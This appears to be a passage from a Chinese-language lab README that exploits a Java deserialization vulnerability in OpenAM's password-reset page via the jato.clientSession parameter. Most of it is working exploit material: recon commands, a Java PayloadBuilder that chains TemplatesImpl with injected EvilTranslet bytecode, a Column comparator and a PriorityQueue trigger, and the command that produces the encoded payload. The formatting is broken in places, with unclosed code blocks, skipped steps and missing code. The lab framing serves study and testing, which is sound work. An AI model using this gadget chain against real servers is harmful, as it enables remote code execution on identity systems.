URL安全的base64使用'-'代替'+'，使用'_'代替'/'，并且不使用填充符'='。正确的编码是：```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

**步骤 3 - 从浏览器配置 OpenAM**

导航到 "http://localhost:8080/openam"，点击 "创建默认配置" 并设置：

| 字段                           | 值            |
|---------------------------------|---------------|
| 默认用户密码 (amadmin)          | Lab@dm1n2026! |
| Agent 密码                      | secret12      |

等待约 2 分钟完成配置。

**步骤 4 - 确认密码重置已启用**

以 amadmin 身份登录 → 配置 → 全局服务 → 密码重置 → 启用开关 → 保存更改。

**步骤 5 - 识别可被利用的 JSP 端点**

在 WAR 文件中查找包含 *< jato:form >* 标签的所有 JSP，这些是触发 jato.clientSession 反序列化的端点：```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

(空)```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

<div id="lab_access"/>

### ***访问***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

---
---
---

<div id="exploitation"/>

## ***💣 利用***

<div id="exploitation_prerequisites"/>

### ***先决条件***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| 要求                   | 说明                                                                                                                            |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | 必须与运行 OpenAM 的 JVM 版本一致。仅 JRE 不够，需要 javac 来编译 EvilTranslet 和 PayloadBuilder                               |
| openam-core-16.0.5.jar | 从 OpenAM 容器中复制 - 包含 Column、Column$ColumnComparator、PropertyUtils                                                      |
| xalan-2.7.3.jar        | 从 OpenAM 容器中复制 - 包含 TemplatesImpl、TransformerFactoryImpl                                                               |
| serializer-2.7.3.jar   | 从 OpenAM 容器中复制 - 包含 EvilTranslet 使用的 SerializationHandler                                                            |
| click-nodeps-2.3.0.jar | 从 OpenAM 容器中复制 - 包含 Table（Column$ColumnComparator 所需）                                                               |
| click-extras-2.3.0.jar | 从 OpenAM 容器中复制 - click-nodeps 的传递依赖项                                                                                |
| jato-shaded-16.0.5.jar | 从 OpenAM 容器中复制 - 包含具有 decodeHttp64 功能的 Encoder                                                                     |
| servlet-api.jar        | 从 Tomcat lib/ 复制 - Jakarta Servlet API，用于 Table 的序列化                                                                   |
| Python 3.8+            | 用于 PoC 脚本                                                                                                                   |
| requests               | pip install requests                                                                                                            |

---

<div id="exploitation_discovery"/>

### ***发现与侦察***

**步骤 1 - 确认 OpenAM 正在运行并识别版本**```
http://localhost:8080/openam/ccversion/Version

**步骤 3 - 确认 jato.clientSession 已被处理**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}

static void setField(Object obj, String name, Object value) throws Exception {
	Field f = obj.getClass().getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

static void setFieldPQ(Object obj, String name, Object value) throws Exception {
	Field f = PriorityQueue.class.getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

public static void main(String[] args) throws Exception {
	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

	// Step 1 - TemplatesImpl with EvilTranslet bytecode
	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
	TemplatesImpl templates = new TemplatesImpl();
	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
	setField(templates, "_name",          "EvilTranslet");
	setField(templates, "_tfactory",      new TransformerFactoryImpl());
	setField(templates, "_transletIndex", 0);

	// Step 2 - Column with Table associated
	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
	Table table = new Table();
	Column column = new Column("outputProperties");
	column.setTable(table);

	@SuppressWarnings("unchecked")
	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

	// Step 3 - PriorityQueue as deserialization trigger
	// readObject() -> heapify() -> siftDown() -> comparator.compare()
	// Size must be >= 2 for heapify to call compare()
	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
	setFieldPQ(queue, "size",  2);

	// Step 4 - Serialize and URL-safe base64 encode
	ByteArrayOutputStream baos = new ByteArrayOutputStream();
	ObjectOutputStream oos = new ObjectOutputStream(baos);
	oos.writeObject(queue);
	oos.close();

	System.out.println(encodeHttp64(baos.toByteArray()));
}

**步骤4 - 生成载荷**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64